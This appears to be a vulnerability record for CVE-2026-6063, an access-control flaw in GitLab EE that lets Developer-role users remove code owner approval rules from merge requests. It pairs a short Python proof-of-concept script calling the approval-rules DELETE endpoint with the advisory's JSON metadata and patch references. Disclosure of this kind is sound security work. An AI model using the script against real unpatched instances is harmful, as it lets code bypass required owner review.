CVE-2026-6063

import requests # Exploit Concept for CVE-2026-6063 # Description: Remove code owner approval rules via API as a Developer role. token = 'YOUR_GITLAB_PERSONAL_ACCESS_TOKEN' gitlab_url = 'https://gitlab.example.com' project_id = '123' merge_request_iid = '456' approval_rule_id = '1' # ID of the code owner rule to remove headers = {'PRIVATE-TOKEN': token} # API endpoint to delete an approval rule url = f"{gitlab_url}/api/v4/projects/{project_id}/merge_requests/{merge_request_iid}/approval_rules/{approval_rule_id}" response = requests.delete(url, headers=headers) if response.status_code == 204: print("[+] Successfully removed approval rule.") else: print("[-] Failed to remove rule. Status code:", response.status_code)

{"cve": {"id": "CVE-2026-6063", "sourceIdentifier": "[email protected]", "published": "2026-05-14T06:16:24.307", "lastModified": "2026-05-14T16:20:43.240", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab EE affecting all versions from 11.10 before 18.9.7, 18.10 before 18.10.6, and 18.11 before 18.11.3 that under certain conditions could have allowed an authenticated user with developer-role permissions to remove code owner approval rules from merge requests due to improper access control."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/05/13/patch-release-gitlab-18-11-3-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/596332", "source": "[email protected]"}, {"url": "https://hackerone.com/reports/3649087", "source": "[email protected]"}]}}